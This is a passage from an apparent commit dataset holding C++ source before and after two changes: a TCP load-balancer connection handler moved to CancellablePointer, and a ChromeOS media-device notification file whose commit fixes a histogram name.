session_sticky = lb_tcp_sticky(address_list,\n remote_address.GetAddress());\n\n SocketAddress bind_address = SocketAddress::Null();\n\n if (transparent_source) {\n bind_address = remote_address;\n\n \/* reset the port to 0 to allow the kernel to choose one *\/\n if (bind_address.GetFamily() == AF_INET) {\n struct sockaddr_in *s_in = (struct sockaddr_in *)\n p_memdup(pool, bind_address.GetAddress(),\n bind_address.GetSize());\n s_in->sin_port = 0;\n bind_address = SocketAddress((const struct sockaddr *)s_in,\n bind_address.GetSize());\n } else if (bind_address.GetFamily() == AF_INET6) {\n struct sockaddr_in6 *s_in = (struct sockaddr_in6 *)\n p_memdup(pool, bind_address.GetAddress(),\n bind_address.GetSize());\n s_in->sin6_port = 0;\n bind_address = SocketAddress((const struct sockaddr *)s_in,\n bind_address.GetSize());\n }\n }\n\n *tcp_r = tcp;\n\n client_balancer_connect(pool, &balancer,\n transparent_source,\n bind_address,\n session_sticky,\n &address_list,\n 20,\n *tcp,\n &tcp->connect);\n}\n\nvoid\nlb_tcp_close(LbTcpConnection *tcp)\n{\n if (tcp->inbound.IsValid())\n tcp->DestroyInbound();\n\n if (tcp->connect.IsDefined())\n tcp->connect.Abort();\n else if (tcp->outbound.IsValid())\n tcp->DestroyOutbound();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Handler for raw TCP connections.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"lb_tcp.hxx\"\n#include \"filtered_socket.hxx\"\n#include \"address_list.hxx\"\n#include \"client_balancer.hxx\"\n#include \"address_sticky.hxx\"\n#include \"direct.hxx\"\n#include \"pool.hxx\"\n#include \"async.hxx\"\n#include \"net\/ConnectSocket.hxx\"\n#include \"net\/SocketDescriptor.hxx\"\n#include \"net\/SocketAddress.hxx\"\n\n#include <unistd.h>\n#include <errno.h>\n\nstruct LbTcpConnection final : ConnectSocketHandler {\n struct pool *pool;\n Stock *pipe_stock;\n\n const LbTcpConnectionHandler *handler;\n void *handler_ctx;\n\n FilteredSocket inbound;\n\n BufferedSocket outbound;\n\n struct async_operation_ref connect;\n\n bool got_inbound_data, got_outbound_data;\n\n explicit LbTcpConnection(EventLoop &event_loop)\n :inbound(event_loop), outbound(event_loop) {}\n\n void DestroyInbound();\n void DestroyOutbound();\n\n \/* virtual methods from class ConnectSocketHandler *\/\n void OnSocketConnectSuccess(SocketDescriptor &&fd) override;\n void OnSocketConnectTimeout() override;\n void OnSocketConnectError(GError *error) override;\n};\n\nstatic constexpr timeval write_timeout = { 30, 0 };\n\nvoid\nLbTcpConnection::DestroyInbound()\n{\n if (inbound.IsConnected())\n inbound.Close();\n\n inbound.Destroy();\n}\n\nvoid\nLbTcpConnection::DestroyOutbound()\n{\n if (outbound.IsConnected())\n outbound.Close();\n\n outbound.Destroy();\n}\n\n\/*\n * inbound BufferedSocketHandler\n *\n *\/\n\nstatic BufferedResult\ninbound_buffered_socket_data(const void *buffer, size_t size, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_inbound_data = true;\n\n if (tcp->connect.IsDefined())\n \/* outbound is not yet connected *\/\n return BufferedResult::BLOCKING;\n\n if (!tcp->outbound.IsValid()) {\n lb_tcp_close(tcp);\n tcp->handler->error(\"Send error\", \"Broken socket\", tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n ssize_t nbytes = tcp->outbound.Write(buffer, size);\n if (nbytes > 0) {\n tcp->inbound.Consumed(nbytes);\n return (size_t)nbytes == size\n ? BufferedResult::OK\n : BufferedResult::PARTIAL;\n }\n\n switch ((enum write_result)nbytes) {\n case WRITE_SOURCE_EOF:\n assert(false);\n gcc_unreachable();\n\n case WRITE_ERRNO:\n lb_tcp_close(tcp);\n tcp->handler->_errno(\"Send failed\", errno, tcp->handler_ctx);\n return BufferedResult::CLOSED;\n\n case WRITE_BLOCKING:\n return BufferedResult::BLOCKING;\n\n case WRITE_DESTROYED:\n return BufferedResult::CLOSED;\n\n case WRITE_BROKEN:\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n assert(false);\n gcc_unreachable();\n}\n\nstatic bool\ninbound_buffered_socket_closed(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return false;\n}\n\nstatic bool\ninbound_buffered_socket_write(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_outbound_data = false;\n\n if (!tcp->outbound.Read(false))\n return false;\n\n if (!tcp->got_outbound_data)\n tcp->inbound.UnscheduleWrite();\n return true;\n}\n\nstatic bool\ninbound_buffered_socket_drained(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n if (!tcp->outbound.IsValid()) {\n \/* now that inbound's output buffers are drained, we can\n finally close the connection (postponed from\n outbound_buffered_socket_end()) *\/\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return false;\n }\n\n return true;\n}\n\nstatic enum write_result\ninbound_buffered_socket_broken(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return WRITE_DESTROYED;\n}\n\nstatic void\ninbound_buffered_socket_error(GError *error, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->gerror(\"Error\", error, tcp->handler_ctx);\n}\n\nstatic constexpr BufferedSocketHandler inbound_buffered_socket_handler = {\n inbound_buffered_socket_data,\n nullptr, \/\/ TODO: inbound_buffered_socket_direct,\n inbound_buffered_socket_closed,\n nullptr,\n nullptr,\n inbound_buffered_socket_write,\n inbound_buffered_socket_drained,\n nullptr,\n inbound_buffered_socket_broken,\n inbound_buffered_socket_error,\n};\n\n\/*\n * outbound buffered_socket_handler\n *\n *\/\n\nstatic BufferedResult\noutbound_buffered_socket_data(const void *buffer, size_t size, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_outbound_data = true;\n\n ssize_t nbytes = tcp->inbound.Write(buffer, size);\n if (nbytes > 0) {\n tcp->outbound.Consumed(nbytes);\n return (size_t)nbytes == size\n ? BufferedResult::OK\n : BufferedResult::PARTIAL;\n }\n\n switch ((enum write_result)nbytes) {\n int save_errno;\n\n case WRITE_SOURCE_EOF:\n assert(false);\n gcc_unreachable();\n\n case WRITE_ERRNO:\n save_errno = errno;\n lb_tcp_close(tcp);\n tcp->handler->_errno(\"Send failed\", save_errno, tcp->handler_ctx);\n return BufferedResult::CLOSED;\n\n case WRITE_BLOCKING:\n return BufferedResult::BLOCKING;\n\n case WRITE_DESTROYED:\n return BufferedResult::CLOSED;\n\n case WRITE_BROKEN:\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n assert(false);\n gcc_unreachable();\n}\n\nstatic bool\noutbound_buffered_socket_closed(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->outbound.Close();\n return true;\n}\n\nstatic void\noutbound_buffered_socket_end(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->outbound.Destroy();\n\n tcp->inbound.UnscheduleWrite();\n\n if (tcp->inbound.IsDrained()) {\n \/* all output buffers to \"inbound\" are drained; close the\n connection, because there's nothing left to do *\/\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n\n \/* nothing will be done if the buffers are not yet drained;\n we're waiting for inbound_buffered_socket_drained() to be\n called *\/\n }\n}\n\nstatic bool\noutbound_buffered_socket_write(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_inbound_data = false;\n\n if (!tcp->inbound.Read(false))\n return false;\n\n if (!tcp->got_inbound_data)\n tcp->outbound.UnscheduleWrite();\n return true;\n}\n\nstatic enum write_result\noutbound_buffered_socket_broken(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return WRITE_DESTROYED;\n}\n\nstatic void\noutbound_buffered_socket_error(GError *error, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->gerror(\"Error\", error, tcp->handler_ctx);\n}\n\nstatic constexpr BufferedSocketHandler outbound_buffered_socket_handler = {\n outbound_buffered_socket_data,\n nullptr, \/\/ TODO: outbound_buffered_socket_direct,\n outbound_buffered_socket_closed,\n nullptr,\n outbound_buffered_socket_end,\n outbound_buffered_socket_write,\n nullptr,\n nullptr,\n outbound_buffered_socket_broken,\n outbound_buffered_socket_error,\n};\n\n\/*\n * ConnectSocketHandler\n *\n *\/\n\nvoid\nLbTcpConnection::OnSocketConnectSuccess(SocketDescriptor &&fd)\n{\n connect.Clear();\n\n outbound.Init(fd.Steal(), FdType::FD_TCP,\n nullptr, &write_timeout,\n outbound_buffered_socket_handler, this);\n\n \/* TODO\n outbound.direct = pipe_stock != nullptr &&\n (ISTREAM_TO_TCP & FdType::FD_PIPE) != 0 &&\n (istream_direct_mask_to(inbound.base.base.fd_type) & FdType::FD_PIPE) != 0;\n *\/\n\n if (inbound.Read(false))\n outbound.Read(false);\n}\n\nvoid\nLbTcpConnection::OnSocketConnectTimeout()\n{\n DestroyInbound();\n handler->error(\"Connect error\", \"Timeout\", handler_ctx);\n}\n\nvoid\nLbTcpConnection::OnSocketConnectError(GError *error)\n{\n DestroyInbound();\n handler->gerror(\"Connect error\", error, handler_ctx);\n}\n\n\/*\n * constructor\n *\n *\/\n\ngcc_pure\nstatic unsigned\nlb_tcp_sticky(const AddressList &address_list,\n SocketAddress remote_address)\n{\n switch (address_list.sticky_mode) {\n case StickyMode::NONE:\n case StickyMode::FAILOVER:\n break;\n\n case StickyMode::SOURCE_IP:\n return socket_address_sticky(remote_address);\n\n case StickyMode::SESSION_MODULO:\n case StickyMode::COOKIE:\n case StickyMode::JVM_ROUTE:\n \/* not implemented here *\/\n break;\n }\n\n return 0;\n}\n\nvoid\nlb_tcp_new(struct pool *pool, EventLoop &event_loop, Stock *pipe_stock,\n SocketDescriptor &&fd, FdType fd_type,\n const SocketFilter *filter, void *filter_ctx,\n SocketAddress remote_address,\n bool transparent_source,\n const AddressList &address_list,\n Balancer &balancer,\n const LbTcpConnectionHandler *handler, void *ctx,\n LbTcpConnection **tcp_r)\n{\n auto *tcp = NewFromPool<LbTcpConnection>(*pool, event_loop);\n tcp->pool = pool;\n tcp->pipe_stock = pipe_stock;\n tcp->handler = handler;\n tcp->handler_ctx = ctx;\n\n tcp->inbound.Init(fd.Steal(), fd_type,\n nullptr, &write_timeout,\n filter, filter_ctx,\n inbound_buffered_socket_handler, tcp);\n \/* TODO\n tcp->inbound.base.direct = pipe_stock != nullptr &&\n (ISTREAM_TO_PIPE & fd_type) != 0 &&\n (ISTREAM_TO_TCP & FdType::FD_PIPE) != 0;\n *\/\n\n unsigned session_sticky = lb_tcp_sticky(address_list,\n remote_address);\n\n SocketAddress bind_address = SocketAddress::Null();\n\n if (transparent_source) {\n bind_address = remote_address;\n\n \/* reset the port to 0 to allow the kernel to choose one *\/\n if (bind_address.GetFamily() == AF_INET) {\n struct sockaddr_in *s_in = (struct sockaddr_in *)\n p_memdup(pool, bind_address.GetAddress(),\n bind_address.GetSize());\n s_in->sin_port = 0;\n bind_address = SocketAddress((const struct sockaddr *)s_in,\n bind_address.GetSize());\n } else if (bind_address.GetFamily() == AF_INET6) {\n struct sockaddr_in6 *s_in = (struct sockaddr_in6 *)\n p_memdup(pool, bind_address.GetAddress(),\n bind_address.GetSize());\n s_in->sin6_port = 0;\n bind_address = SocketAddress((const struct sockaddr *)s_in,\n bind_address.GetSize());\n }\n }\n\n *tcp_r = tcp;\n\n client_balancer_connect(event_loop, *pool, balancer,\n transparent_source,\n bind_address,\n session_sticky,\n &address_list,\n 20,\n *tcp,\n tcp->connect);\n}\n\nvoid\nlb_tcp_close(LbTcpConnection *tcp)\n{\n if (tcp->inbound.IsValid())\n tcp->DestroyInbound();\n\n if (tcp->connect.IsDefined())\n tcp->connect.Abort();\n else if (tcp->outbound.IsValid())\n tcp->DestroyOutbound();\n}\n<commit_msg>lb_tcp: migrate to CancellablePointer<commit_after>\/*\n * Handler for raw TCP connections.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"lb_tcp.hxx\"\n#include \"filtered_socket.hxx\"\n#include \"address_list.hxx\"\n#include \"client_balancer.hxx\"\n#include \"address_sticky.hxx\"\n#include \"direct.hxx\"\n#include \"pool.hxx\"\n#include \"net\/ConnectSocket.hxx\"\n#include \"net\/SocketDescriptor.hxx\"\n#include \"net\/SocketAddress.hxx\"\n#include \"util\/Cancellable.hxx\"\n\n#include <unistd.h>\n#include <errno.h>\n\nstruct LbTcpConnection final : ConnectSocketHandler {\n struct pool *pool;\n Stock *pipe_stock;\n\n const LbTcpConnectionHandler *handler;\n void *handler_ctx;\n\n FilteredSocket inbound;\n\n BufferedSocket outbound;\n\n CancellablePointer cancel_connect;\n\n bool got_inbound_data, got_outbound_data;\n\n explicit LbTcpConnection(EventLoop &event_loop)\n :inbound(event_loop), outbound(event_loop) {}\n\n void DestroyInbound();\n void DestroyOutbound();\n\n \/* virtual methods from class ConnectSocketHandler *\/\n void OnSocketConnectSuccess(SocketDescriptor &&fd) override;\n void OnSocketConnectTimeout() override;\n void OnSocketConnectError(GError *error) override;\n};\n\nstatic constexpr timeval write_timeout = { 30, 0 };\n\nvoid\nLbTcpConnection::DestroyInbound()\n{\n if (inbound.IsConnected())\n inbound.Close();\n\n inbound.Destroy();\n}\n\nvoid\nLbTcpConnection::DestroyOutbound()\n{\n if (outbound.IsConnected())\n outbound.Close();\n\n outbound.Destroy();\n}\n\n\/*\n * inbound BufferedSocketHandler\n *\n *\/\n\nstatic BufferedResult\ninbound_buffered_socket_data(const void *buffer, size_t size, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_inbound_data = true;\n\n if (tcp->cancel_connect)\n \/* outbound is not yet connected *\/\n return BufferedResult::BLOCKING;\n\n if (!tcp->outbound.IsValid()) {\n lb_tcp_close(tcp);\n tcp->handler->error(\"Send error\", \"Broken socket\", tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n ssize_t nbytes = tcp->outbound.Write(buffer, size);\n if (nbytes > 0) {\n tcp->inbound.Consumed(nbytes);\n return (size_t)nbytes == size\n ? BufferedResult::OK\n : BufferedResult::PARTIAL;\n }\n\n switch ((enum write_result)nbytes) {\n case WRITE_SOURCE_EOF:\n assert(false);\n gcc_unreachable();\n\n case WRITE_ERRNO:\n lb_tcp_close(tcp);\n tcp->handler->_errno(\"Send failed\", errno, tcp->handler_ctx);\n return BufferedResult::CLOSED;\n\n case WRITE_BLOCKING:\n return BufferedResult::BLOCKING;\n\n case WRITE_DESTROYED:\n return BufferedResult::CLOSED;\n\n case WRITE_BROKEN:\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n assert(false);\n gcc_unreachable();\n}\n\nstatic bool\ninbound_buffered_socket_closed(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return false;\n}\n\nstatic bool\ninbound_buffered_socket_write(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_outbound_data = false;\n\n if (!tcp->outbound.Read(false))\n return false;\n\n if (!tcp->got_outbound_data)\n tcp->inbound.UnscheduleWrite();\n return true;\n}\n\nstatic bool\ninbound_buffered_socket_drained(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n if (!tcp->outbound.IsValid()) {\n \/* now that inbound's output buffers are drained, we can\n finally close the connection (postponed from\n outbound_buffered_socket_end()) *\/\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return false;\n }\n\n return true;\n}\n\nstatic enum write_result\ninbound_buffered_socket_broken(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return WRITE_DESTROYED;\n}\n\nstatic void\ninbound_buffered_socket_error(GError *error, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->gerror(\"Error\", error, tcp->handler_ctx);\n}\n\nstatic constexpr BufferedSocketHandler inbound_buffered_socket_handler = {\n inbound_buffered_socket_data,\n nullptr, \/\/ TODO: inbound_buffered_socket_direct,\n inbound_buffered_socket_closed,\n nullptr,\n nullptr,\n inbound_buffered_socket_write,\n inbound_buffered_socket_drained,\n nullptr,\n inbound_buffered_socket_broken,\n inbound_buffered_socket_error,\n};\n\n\/*\n * outbound buffered_socket_handler\n *\n *\/\n\nstatic BufferedResult\noutbound_buffered_socket_data(const void *buffer, size_t size, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_outbound_data = true;\n\n ssize_t nbytes = tcp->inbound.Write(buffer, size);\n if (nbytes > 0) {\n tcp->outbound.Consumed(nbytes);\n return (size_t)nbytes == size\n ? BufferedResult::OK\n : BufferedResult::PARTIAL;\n }\n\n switch ((enum write_result)nbytes) {\n int save_errno;\n\n case WRITE_SOURCE_EOF:\n assert(false);\n gcc_unreachable();\n\n case WRITE_ERRNO:\n save_errno = errno;\n lb_tcp_close(tcp);\n tcp->handler->_errno(\"Send failed\", save_errno, tcp->handler_ctx);\n return BufferedResult::CLOSED;\n\n case WRITE_BLOCKING:\n return BufferedResult::BLOCKING;\n\n case WRITE_DESTROYED:\n return BufferedResult::CLOSED;\n\n case WRITE_BROKEN:\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return BufferedResult::CLOSED;\n }\n\n assert(false);\n gcc_unreachable();\n}\n\nstatic bool\noutbound_buffered_socket_closed(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->outbound.Close();\n return true;\n}\n\nstatic void\noutbound_buffered_socket_end(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->outbound.Destroy();\n\n tcp->inbound.UnscheduleWrite();\n\n if (tcp->inbound.IsDrained()) {\n \/* all output buffers to \"inbound\" are drained; close the\n connection, because there's nothing left to do *\/\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n\n \/* nothing will be done if the buffers are not yet drained;\n we're waiting for inbound_buffered_socket_drained() to be\n called *\/\n }\n}\n\nstatic bool\noutbound_buffered_socket_write(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n tcp->got_inbound_data = false;\n\n if (!tcp->inbound.Read(false))\n return false;\n\n if (!tcp->got_inbound_data)\n tcp->outbound.UnscheduleWrite();\n return true;\n}\n\nstatic enum write_result\noutbound_buffered_socket_broken(void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->eof(tcp->handler_ctx);\n return WRITE_DESTROYED;\n}\n\nstatic void\noutbound_buffered_socket_error(GError *error, void *ctx)\n{\n LbTcpConnection *tcp = (LbTcpConnection *)ctx;\n\n lb_tcp_close(tcp);\n tcp->handler->gerror(\"Error\", error, tcp->handler_ctx);\n}\n\nstatic constexpr BufferedSocketHandler outbound_buffered_socket_handler = {\n outbound_buffered_socket_data,\n nullptr, \/\/ TODO: outbound_buffered_socket_direct,\n outbound_buffered_socket_closed,\n nullptr,\n outbound_buffered_socket_end,\n outbound_buffered_socket_write,\n nullptr,\n nullptr,\n outbound_buffered_socket_broken,\n outbound_buffered_socket_error,\n};\n\n\/*\n * ConnectSocketHandler\n *\n *\/\n\nvoid\nLbTcpConnection::OnSocketConnectSuccess(SocketDescriptor &&fd)\n{\n cancel_connect = nullptr;\n\n outbound.Init(fd.Steal(), FdType::FD_TCP,\n nullptr, &write_timeout,\n outbound_buffered_socket_handler, this);\n\n \/* TODO\n outbound.direct = pipe_stock != nullptr &&\n (ISTREAM_TO_TCP & FdType::FD_PIPE) != 0 &&\n (istream_direct_mask_to(inbound.base.base.fd_type) & FdType::FD_PIPE) != 0;\n *\/\n\n if (inbound.Read(false))\n outbound.Read(false);\n}\n\nvoid\nLbTcpConnection::OnSocketConnectTimeout()\n{\n DestroyInbound();\n handler->error(\"Connect error\", \"Timeout\", handler_ctx);\n}\n\nvoid\nLbTcpConnection::OnSocketConnectError(GError *error)\n{\n DestroyInbound();\n handler->gerror(\"Connect error\", error, handler_ctx);\n}\n\n\/*\n * constructor\n *\n *\/\n\ngcc_pure\nstatic unsigned\nlb_tcp_sticky(const AddressList &address_list,\n SocketAddress remote_address)\n{\n switch (address_list.sticky_mode) {\n case StickyMode::NONE:\n case StickyMode::FAILOVER:\n break;\n\n case StickyMode::SOURCE_IP:\n return socket_address_sticky(remote_address);\n\n case StickyMode::SESSION_MODULO:\n case StickyMode::COOKIE:\n case StickyMode::JVM_ROUTE:\n \/* not implemented here *\/\n break;\n }\n\n return 0;\n}\n\nvoid\nlb_tcp_new(struct pool *pool, EventLoop &event_loop, Stock *pipe_stock,\n SocketDescriptor &&fd, FdType fd_type,\n const SocketFilter *filter, void *filter_ctx,\n SocketAddress remote_address,\n bool transparent_source,\n const AddressList &address_list,\n Balancer &balancer,\n const LbTcpConnectionHandler *handler, void *ctx,\n LbTcpConnection **tcp_r)\n{\n auto *tcp = NewFromPool<LbTcpConnection>(*pool, event_loop);\n tcp->pool = pool;\n tcp->pipe_stock = pipe_stock;\n tcp->handler = handler;\n tcp->handler_ctx = ctx;\n\n tcp->inbound.Init(fd.Steal(), fd_type,\n nullptr, &write_timeout,\n filter, filter_ctx,\n inbound_buffered_socket_handler, tcp);\n \/* TODO\n tcp->inbound.base.direct = pipe_stock != nullptr &&\n (ISTREAM_TO_PIPE & fd_type) != 0 &&\n (ISTREAM_TO_TCP & FdType::FD_PIPE) != 0;\n *\/\n\n unsigned session_sticky = lb_tcp_sticky(address_list,\n remote_address);\n\n SocketAddress bind_address = SocketAddress::Null();\n\n if (transparent_source) {\n bind_address = remote_address;\n\n \/* reset the port to 0 to allow the kernel to choose one *\/\n if (bind_address.GetFamily() == AF_INET) {\n struct sockaddr_in *s_in = (struct sockaddr_in *)\n p_memdup(pool, bind_address.GetAddress(),\n bind_address.GetSize());\n s_in->sin_port = 0;\n bind_address = SocketAddress((const struct sockaddr *)s_in,\n bind_address.GetSize());\n } else if (bind_address.GetFamily() == AF_INET6) {\n struct sockaddr_in6 *s_in = (struct sockaddr_in6 *)\n p_memdup(pool, bind_address.GetAddress(),\n bind_address.GetSize());\n s_in->sin6_port = 0;\n bind_address = SocketAddress((const struct sockaddr *)s_in,\n bind_address.GetSize());\n }\n }\n\n *tcp_r = tcp;\n\n client_balancer_connect(event_loop, *pool, balancer,\n transparent_source,\n bind_address,\n session_sticky,\n &address_list,\n 20,\n *tcp,\n tcp->cancel_connect);\n}\n\nvoid\nlb_tcp_close(LbTcpConnection *tcp)\n{\n if (tcp->inbound.IsValid())\n tcp->DestroyInbound();\n\n if (tcp->cancel_connect)\n tcp->cancel_connect.Cancel();\n else if (tcp->outbound.IsValid())\n tcp->DestroyOutbound();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ chromeos::MediaDeviceNotifications implementation.\n\n#include \"chrome\/browser\/system_monitor\/media_device_notifications_chromeos.h\"\n\n#include \"base\/file_path.h\"\n#include \"base\/logging.h\"\n#include \"base\/metrics\/histogram.h\"\n#include \"base\/stl_util.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/system_monitor\/media_device_notifications_utils.h\"\n#include \"chrome\/browser\/system_monitor\/media_storage_util.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n\nnamespace chromeos {\n\nnamespace {\n\nbool GetDeviceInfo(const std::string& source_path, std::string* unique_id,\n string16* device_label) {\n \/\/ Get the media device uuid and label if exists.\n const disks::DiskMountManager::Disk* disk =\n disks::DiskMountManager::GetInstance()->FindDiskBySourcePath(source_path);\n if (!disk)\n return false;\n\n *unique_id = disk->fs_uuid();\n\n \/\/ TODO(kmadhusu): If device label is empty, extract vendor and model details\n \/\/ and use them as device_label.\n *device_label = UTF8ToUTF16(disk->device_label().empty() ?\n FilePath(source_path).BaseName().value() :\n disk->device_label());\n return true;\n}\n\n} \/\/ namespace\n\nusing content::BrowserThread;\n\nMediaDeviceNotifications::MediaDeviceNotifications() {\n DCHECK(disks::DiskMountManager::GetInstance());\n disks::DiskMountManager::GetInstance()->AddObserver(this);\n CheckExistingMountPointsOnUIThread();\n}\n\nMediaDeviceNotifications::~MediaDeviceNotifications() {\n disks::DiskMountManager* manager = disks::DiskMountManager::GetInstance();\n if (manager) {\n manager->RemoveObserver(this);\n }\n}\n\nvoid MediaDeviceNotifications::CheckExistingMountPointsOnUIThread() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n const disks::DiskMountManager::MountPointMap& mount_point_map =\n disks::DiskMountManager::GetInstance()->mount_points();\n for (disks::DiskMountManager::MountPointMap::const_iterator it =\n mount_point_map.begin(); it != mount_point_map.end(); ++it) {\n BrowserThread::PostTask(\n BrowserThread::FILE, FROM_HERE,\n base::Bind(&MediaDeviceNotifications::CheckMountedPathOnFileThread,\n this, it->second));\n }\n}\n\nvoid MediaDeviceNotifications::DiskChanged(\n disks::DiskMountManagerEventType event,\n const disks::DiskMountManager::Disk* disk) {\n}\n\nvoid MediaDeviceNotifications::DeviceChanged(\n disks::DiskMountManagerEventType event,\n const std::string& device_path) {\n}\n\nvoid MediaDeviceNotifications::MountCompleted(\n disks::DiskMountManager::MountEvent event_type,\n MountError error_code,\n const disks::DiskMountManager::MountPointInfo& mount_info) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n \/\/ Ignore mount points that are not devices.\n if (mount_info.mount_type != MOUNT_TYPE_DEVICE)\n return;\n \/\/ Ignore errors.\n if (error_code != MOUNT_ERROR_NONE)\n return;\n if (mount_info.mount_condition != disks::MOUNT_CONDITION_NONE)\n return;\n\n switch (event_type) {\n case disks::DiskMountManager::MOUNTING: {\n if (ContainsKey(mount_map_, mount_info.mount_path)) {\n NOTREACHED();\n return;\n }\n\n BrowserThread::PostTask(\n BrowserThread::FILE, FROM_HERE,\n base::Bind(&MediaDeviceNotifications::CheckMountedPathOnFileThread,\n this, mount_info));\n break;\n }\n case disks::DiskMountManager::UNMOUNTING: {\n MountMap::iterator it = mount_map_.find(mount_info.mount_path);\n if (it == mount_map_.end())\n return;\n base::SystemMonitor::Get()->ProcessRemovableStorageDetached(it->second);\n mount_map_.erase(it);\n break;\n }\n }\n}\n\nvoid MediaDeviceNotifications::CheckMountedPathOnFileThread(\n const disks::DiskMountManager::MountPointInfo& mount_info) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::FILE));\n\n if (!chrome::IsMediaDevice(mount_info.mount_path))\n return;\n\n BrowserThread::PostTask(\n BrowserThread::UI, FROM_HERE,\n base::Bind(&MediaDeviceNotifications::AddMountedPathOnUIThread,\n this, mount_info));\n}\n\nvoid MediaDeviceNotifications::AddMountedPathOnUIThread(\n const disks::DiskMountManager::MountPointInfo& mount_info) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n if (ContainsKey(mount_map_, mount_info.mount_path)) {\n NOTREACHED();\n return;\n }\n\n \/\/ Get the media device uuid and label if exists.\n std::string unique_id;\n string16 device_label;\n if (!GetDeviceInfo(mount_info.source_path, &unique_id, &device_label))\n return;\n\n \/\/ Keep track of device uuid, to see how often we receive empty uuid values.\n UMA_HISTOGRAM_BOOLEAN(\"MediaDeviceNotification.device_uuid_available\",\n !unique_id.empty());\n if (unique_id.empty())\n return;\n\n std::string device_id = chrome::MediaStorageUtil::MakeDeviceId(\n chrome::MediaStorageUtil::REMOVABLE_MASS_STORAGE_WITH_DCIM, unique_id);\n mount_map_.insert(std::make_pair(mount_info.mount_path, device_id));\n base::SystemMonitor::Get()->ProcessRemovableStorageAttached(\n device_id,\n device_label,\n mount_info.mount_path);\n}\n\n} \/\/ namespace chrome\n<commit_msg>Fix MediaDeviceNotification histogram name.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ chromeos::MediaDeviceNotifications implementation.\n\n#include \"chrome\/browser\/system_monitor\/media_device_notifications_chromeos.h\"\n\n#include \"base\/file_path.h\"\n#include \"base\/logging.h\"\n#include \"base\/metrics\/histogram.h\"\n#include \"base\/stl_util.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/system_monitor\/media_device_notifications_utils.h\"\n#include \"chrome\/browser\/system_monitor\/media_storage_util.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n\nnamespace chromeos {\n\nnamespace {\n\nbool GetDeviceInfo(const std::string& source_path, std::string* unique_id,\n string16* device_label) {\n \/\/ Get the media device uuid and label if exists.\n const disks::DiskMountManager::Disk* disk =\n 